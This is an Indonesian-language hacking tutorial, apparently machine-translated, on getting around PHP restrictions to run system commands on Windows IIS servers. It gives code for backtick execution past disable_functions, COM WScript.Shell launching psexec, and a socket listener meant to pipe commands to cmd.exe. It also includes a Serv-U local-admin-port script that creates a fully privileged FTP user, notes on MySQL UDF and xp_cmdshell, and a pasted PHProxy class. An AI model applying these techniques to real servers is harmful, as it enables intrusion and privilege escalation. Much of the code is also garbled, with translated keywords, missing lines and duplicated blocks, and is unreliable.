Dari WIN2000 ke WIN XP, dan kemudian ke WIN2003, peningkatan keamanan server MS IIS terlihat jelas. Di WIN2000, PHP SHELL biasa dapat mengalahkannya; di WIN XP, meskipun Safe mode = off, Anda tidak dapat menggunakan fungsi seperti system() untuk menjalankan perintah sistem, tetapi kita masih dapat menggunakan fungsi com() untuk menerobos; Pada WIN 2003, meskipun IIS dan PHP diinstal secara default, Anda mungkin tidak dapat menggunakan system() atau com() untuk mengalahkannya. Saat ini Anda harus menggunakan beberapa metode baru untuk melakukan terobosan.
1. Terobosan disable_functions
Di php-4.0.1 atau lebih tinggi, fungsi disable_functions diperkenalkan di php.ini. Misalnya, jika Anda menambahkan disable_functions = passthru exec system popen ke php.ini, maka saat menjalankan fungsi ini, Anda akan diminta dengan Peringatan: system() telah dinonaktifkan karena alasan keamanan, dan program akan dihentikan. Tapi tidak ada cara untuk menjalankan perintah sistem. Karena PHP menggunakan banyak fitur Perl, misalnya, Anda juga dapat menggunakan (`) untuk menjalankan perintah. Contoh kodenya adalah sebagai berikut:
<?$output = `ls -al`;echo "<pre>$output</pre> ";?>
Dikatakan bahwa ini hanya dapat dihindari dengan mengatur safe_mode ke aktif, tetapi terakhir kali saya menggunakannya di server asing, masih gagal. Orang tidak selalu seberuntung itu :)
2.Saat
menerapkan dl( ) fungsi
Ketika salah satu nomor eksekusi perintah internal PHP dan '' tidak dapat digunakan, Anda dapat mencoba dl(). Metode ini hanya dapat digunakan dengan safe mode=off karena dinonaktifkan dalam safe mode. Menggunakan dl() Anda dapat langsung memanggil fungsi W32api. Sayangnya, ekstensi ini telah dipindahkan ke perpustakaan PECL dan tidak lagi terikat sejak PHP 5.1.0 atau lebih rendah. Berikut adalah contoh dari manual:
// Muat ekstensi ini
dl("php_w32api.dll");
// Daftarkan fungsi GetTickCount, dari kernel32.dll
w32api_register_function("kernel32.dll",
"GetTickCount",
"long") ;
// Daftarkan fungsi MessageBoxA, dari User32.dll
w32api_register_function("User32.dll",
"MessageBoxA",
"long");
//Dapatkan
informasi waktu boot
$ticks = GetTickCount();
text
$detik = lantai ($kutu / 1000);
$mins = lantai($detik / 60);
$jam = lantai($menit / 60);
$str = sprintf("Anda telah menggunakan komputer Anda untuk:".
"rn %d Milidetik, atau rn %d Detik".
"atau rn %d menit ataurn %d jam %d menit.",
$ticks,
$detik,
$menit ,
$hours,
$mins - ($hours*60));
// Menampilkan kotak dialogpesan
dengan hanya tombol OK dan teks waktu boot
MessageBoxA(NULL,
$str,
"Uptime Information",
MB_OK
);
Saya belum memahaminya. Saya memiliki pemahaman menyeluruh tentang dl() dan W32api, jadi saya tidak akan memberikan contoh sembarangan untuk menghindari menyesatkan pembaca.
3. Penerapan fungsi COM dan .Net (Windows)
COM (Component Object Model) adalah spesifikasi perangkat lunak yang dikembangkan oleh Microsoft. Ini digunakan untuk mengembangkan komponen perangkat lunak berorientasi objek dan dikompilasi. terutama digunakan pada platform windows.
PHP versi Windows sudah memiliki dukungan bawaan untuk modul ekstensi ini. Tidak perlu memuat perpustakaan ekstensi tambahan untuk menggunakan fungsi COM. Penggunaannya mirip dengan sintaks untuk membuat kelas di C++ atau Java, dan nama kelas COM diteruskan ke konstruktor sebagai parameter. Misalnya, gunakan "WScript.Shell" di PHP untuk menjalankan perintah sistem:
$cmd="E:/cert/admin/psexec.exe";
if($com=new COM("WScript.Shell")) echo "yes " ;
if(!$cmd1=$com->exec($cmd))
{
echo "tidak bisa exec()";
}
if(!$cmd2=$cmd1->stdout())
{
echo "tidak bisa stdout( ) ";
}
if(!$cmd3=$cmd2->readall())
{
echo "can not readall()";
}
echo $cmd3;
?>
Gambar 1 adalah contoh yang saya tulis untuk mengeksekusi psexec.exe.
Arti kode ini persis sama dengan ASP. Tentu saja, Anda juga bisa memanggil "ADODB.Connection" seperti ASP. Dengan menggunakan komponen ini dikombinasikan dengan kerentanan jet2 overflow, Anda mungkin bisa mendapatkan Shell di bawah PHP Saft modus= AKTIF.
//membuat koneksi database
$
conn = new COM("ADODB.Connection");
$dsn = "DRIVER={Microsoft Access Driver (*.mdb)}; DBQ="
conn->Open($dsn);
//menarik data melalui string SQL
$rs=
$conn-
>Execute
("pilih klien dari web");
Tentu saja membutuhkan dukungan ".Net runtime", dan ini merupakan modul eksperimental PHP yang belum berfungsi penuh, jadi saya tidak akan membahasnya di sini.
4. Penerapan fungsi Java()
Metode ini cocok untuk safe mode=on.
Untuk menggunakan server modul JAVA, Anda harus menginstal mesinvirtual
Java terlebih dahulu, dan mengaktifkan opsi with-java selama instalasi dan konfigurasi PHP. Kodenya adalah sebagai berikut:
[JAVA]
;
java.class.path = php_java.jar
;Jalur JDK
;Java.home = f:jdk1.3.0
;Jalur ke mesin virtual
;Java.library=f:jdk1.3.0jrebinhostspotjvm .dll
sama dengan COM, Untuk membuat kelas di Java (bukan hanya JavaBeans) cukup berikan nama kelas JAVA sebagai parameter ke konstruktor. Berikut adalah contoh dari manual:
// Contoh ini hanya dimaksudkan untuk dijalankan sebagai CGI.
$
frame = new Java('java.awt.Frame', 'PHP');
awt.Button', 'Halo Dunia Java!');
$frame->add('Utara', $button);
$frame->validate();
$
frame->pack();
;
$thread = new Java('java.lang.Thread');
$thread->sleep(10000);
$frame->dispose();
Sayangnya
, tidak banyak server PHP yang benar-benar dapat mendukung JAVA, jadi di Tidak perlu banyak membahas hal ini.
5. Penerapan fungsi socket()
Socket adalah modul yang sangat kuat di PHP. Jika Anda menggunakan antarmuka abstrak tingkat tinggi (soket dibuka oleh fungsi fsockopen() dan psockopen), Anda tidak perlu membuka "php_sockets.dll" dari. Tetapi jika Anda ingin menggunakan blok fungsi soket lengkap, Anda harus mengaturnya seperti ini di php.ini:
; Ekstensi Windows
; Perhatikan bahwa dukungan MySQL dan ODBC sekarang sudah ada di dalamnya, jadi tidak diperlukan dll untuk itu
.
; Hapus kalimat berikut Titik koma di depan
; extension=php_sockets.dll
menggunakan blok fungsi soket PHP untuk mengimplementasikan penerusan/pengalihan port, sniffing paket, overflow lokal dan fungsi lainnya. Selain itu, ini juga dapat digunakan untuk membangun server TCP/UDP. Pada saat yang sama, menurut saya ini juga merupakan cara terbaik untuk menerobos kebijakan keamanan server. Berikut ini adalah contoh pembukaan port di server untuk membangun server TCP. Anda dapat menggunakannya untuk menggabungkan cmd.exe server:
//Membangun layanan TCP di server
//Contoh ini memerlukan dukungan php_sockets.dll
//Setelah eksekusi Anda dapat menggunakan "telnet 127.0.0.1 1020" untuk menghubungkan
error_reporting(E_ALL);
/
* Izinkan skrip menunggu koneksi. */
set_time_limit(0);
apa yang kita dapatkan
* saat masuk. */
ob_implicit_flush();
//Ikat IP dan port pada server
$address = '127.0.0.1';
$
port = 1020;
SOCK_STREAM, SOL_TCP) ) < 0) {
echo "socket_create() gagal: alasan: " . socket_strerror($sock)
. "n"
;
< 0) {
echo "socket_bind() gagal: alasan: " . socket_strerror(
$
ret)
.
gagal: alasan: " . socket_strerror($ret) . "n";
}
do {
if (($msgsock = socket_accept($sock)) < 0) {
echo "socket_accept() gagal: alasan: " . socket_strerror($ msgsock) . " n";
break;
}
/* Kirim instruksi.
*/
$msg = "nSelamat datang di Server Uji PHP. n" .
shutdown'. n";
socket_write($msgsock, $msg, strlen($msg));
do {
if (false === socket_recv($msgsock, $buf, 1024, 0)) {
echo "socket_read() gagal : alasan: " . socket_strerror($ret) . "n";
break 2;
}
if (!$buf = trim($buf)) {
lanjutkan;
}
if ($buf == 'quit') {
break;
}
if ($buf == 'shutdown') {
socket_close($msgsock);
break 2;
}
$talkback = "PHP: Anda mengatakan '$buf'.n";
socket_write($msgsock, $talkback, strlen($talkback ));
echo "$bufn";
//Berikut ini memproses buf yang diterima
/*eg: misalnya
$buf="cmd.exe /c netstat –an";
$pp = popen('$buf ', ' r');
While ($baca = fgets($pp, 2096))
echo $read;
pclose($pp
);
sementara (benar);
socket_close($
msgsock
} sementara (benar);
sock);
?>
Faktanya, banyak host tidak memuat php_sockets.dll. Untungnya, fungsi "fsockopen" yang tidak memerlukan dukungan modul soket sudah cukup untuk kita gunakan. Karena selama ada "fsockopen", kita bisa leluasa membaca dan menulis port di mesin ini yang tidak terbuka untuk dunia luar. Menggunakan fsockopen untuk membaca dan menulis port manajemen lokal 43958 dari serv-u (catatan: port ini tidak dapat dihubungkan secara eksternal) untuk peningkatan hak istimewa adalah contoh umum:
$adminuser="LocalAdministrator";
$adminpass=" #l@$ak# .lk;0@P ”;
$adminport=" 43958";
$
fp = fsockopen("127.0.0.1", $adminport, $errno, $errstr, 8)
;
$errno)
n";
} else {
//$shellcode dapat ditulis
// fputs ($fp, $shellcode);
fputs ($fp, "USER ".$adminuser."rn");
sleep ( 1);
fput ($fp, "LULUS ".$adminpass."rn
"
);
fput
($fp, "PEMELIHARAAN SITUSrn");
$fp, "-SETUSERSETUPrn");
fput ($fp, "-IP=".$addr."rn");
fput ($fp, "-PortNo=".$ftpport." rn");
fputs ($fp, "-User=".$user."rn");
fputs ($fp, "-Password=".$password."rn") ;
fput ($
fp, "-HomeDir=".$homedir."rn")
;
rn");
fputs ($fp, "-RelPaths=0rn");
fputs ($fp, "-NeedSecure=0rn");
fputs ($fp, "-HideHidden=0 rn");
fputs ($fp, "-AlwaysAllowLogin=0rn");
fputs ($fp, "-ChangePassword=1rn");
fputs ($fp, "-QuotaEnable= 0rn");
fputs ($fp, "-MaxUsersLoginPerIP=-1rn");
fputs ($fp, "-SpeedLimitUp=-1rn");
fputs ($fp, " -SpeedLimitDown=-1rn");
fputs ($fp, "-MaxNrUsers=-1rn");
fputs ($fp, "-IdleTimeOut=600rn"); fputs ($fp, "-IdleTimeOut=600rn");
fputs ($ fp, "-SessionTimeOut=-1rn");
fput ($fp, "-Expire=0rn");
fput
($fp, "-RatioUp=1rn");
($fp, "-RatioDown=1rn");
fput ($fp, "-RatiosCredit=0rn");
fput ($fp, "-QuotaCurrent=0rn");
fputs ($fp, "-QuotaMaximum=0rn");
fputs ($fp, "-Pemeliharaan=Sistemrn")
; ;
fput ($fp, "-Rasio=Tidak Adarn");
fput(
$fp, " Access=".$homedir."|RWAMELCDPrn");
n");
sleep (1);
while (!feof($fp)) {
echo fgets ($fp, 128);
}
}
?>
Anda juga dapat menggunakan fsockopen untuk menulis proxy HTTP untuk mengakses jaringan eksternal atau komputer lokal. Situs web yang dapat diakses secara eksternal. Saya memiliki HTTPProxy lengkap (Gambar 4) dengan kode yang panjang. Pembaca yang tertarik dapat melihatnya.
6. Antarmuka MYSQL/MSSQL
berbeda dengan Linux karena mysql/MSSQL di bawah windows umumnya dijalankan sebagai administrator sistem. Oleh karena itu, selama Anda bisa mendapatkan kata sandi root/sa di database SQL lokal, Anda dapat menggunakannya secara langsung . PHP terhubung ke database untuk menjalankan perintah sistem.
Mengeksekusi perintah sistem di Mysql memerlukan eksploitasi kerentanan fungsi yang ditentukan pengguna "MySQL UDF Dynamic Library". Di MSSQL, selama Anda terhubung ke database, Anda dapat langsung memanggil perintah eksekusi yang diperluas "master..xp_cmdshell" Izinnya tentu saja merupakan izin sistem.
Ringkasnya: Karena perbedaan versi sistem, IIS, dan PHP, metode terobosan yang disebutkan di atas dapat berubah. PHP juga memiliki banyak fungsi tambahan yang dapat digunakan. Keluar dari fungsi eksekusi perintah sistem system(), Anda dapat menerobos batasan kebijakan keamanan sistem!
Terlampir adalah kode proxy.php
error_reporting(E_ALL);
/*
// Program ini adalah perangkat lunak bebas dan/atau
// memodifikasinya berdasarkan ketentuan Lisensi Publik Umum GNU
// sebagaimana diterbitkan oleh Perangkat Lunak Bebas; Foundation; baik versi 2
// dari Lisensi, atau (sesuai pilihan Anda) versi yang lebih baru.
//
// Program ini didistribusikan dengan harapan akan berguna,
// tetapi TANPA JAMINAN APAPUN; dari
// KELAYAKAN UNTUK DIPERDAGANGKAN atau KESESUAIAN UNTUK TUJUAN TERTENTU. Lihat
// Lisensi Publik Umum GNU untuk rincian lebih lanjut
//
// Anda seharusnya sudah menerima salinan Lisensi Publik Umum GNU
// bersama dengan program ini; ke Perangkat Lunak Bebas
// Foundation, Inc., 59 Temple Place-
Suite 330, Boston, MA 02111-1307, AS.
----- ------------------------------- --
// Kelas : PHProxy
// Penulis: ultimategamer00 (Abdullah A.)
// Terakhir Dimodifikasi: 18:28 22/06/2004
*/
function __stripslashes($str)
{
return get_magic_quotes_gpc() ? : $str;
}
if (!function_exists('str_rot13'))
{
function str_rot13($str)
{
static $alpha = array('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ',
'nopqrstuvwxyzabcdefghijklmNOPQRSTUVWXYZABCDEFGHIJKLM');
($str, $alfa[0], $alpha[1] );
}
}
kelas PHProxy
{
var $allowed_hosts = array();
var $versi;
var $script_url
;
var
$url_segments;
hapus_scripts' => 1, 'accept_cookies' => 1, 'show_images' => 1, 'show_referer' => 1);
var
$socket;
var
$
content_type
;
respon_body;
fungsi PHProxy( $flags = 'sebelumnya')
{
$ini->versi = '0.2';
$ini->script_url = 'http'
. (isset(
fungsi set_request_headers()
{
$headers = " " . (isset( $ini->url_segments ['kueri']) ? "?" : '') . " HTTP/1.0rn";
$
headers .= "Host: :rn";
-Agen: Mozilla/ 4.0 (kompatibel; MSIE 6.0; Windows NT 5.1)rn";
$headers .= "Terima: teks/xml, aplikasi/xml, aplikasi/xhtml+xml, teks/html; , teks/polos; q=0.8, video/x-mng, gambar/png, gambar/jpeg, gambar/gif; q=0.2, */*; q=0.1rn";
$headers .= "Koneksi : closer n";
if ($this->flags['show_referer'] == 1)
{
$headers .= "Referer: rn";
}
$cookies = $this->get_cookies();
$headers .= $ cookie != '' ? "Cookie: $cookiesrn" : '';
if (
function set_request_headers()
{
$headers = " " . (isset($this->url_segments['query' ]) ? "? " : '') . " HTTP/1.0rn";
$headers .= "Host: :rn";
$headers .= "Agen Pengguna: Mozilla/4.0 (kompatibel; MSIE 6.0; Windows NT 5.1)rn";
$headers .= "Terima: teks/xml, aplikasi/xml, aplikasi/xhtml+xml, teks/html;q=0.9, teks/polos;q=0.8, video/x-mng , gambar/png, gambar/jpeg, gambar/gif;q=0.2,*/*;q=0.1rn";
$headers .= "Koneksi: tutuprn";
jika ($ini-> bendera['show_referer'] == 1)
{
$headers .= "Referensi: rn";
}
$
cookies = $this->get_cookies();
' ? "Kue: $kukirn" : ''
;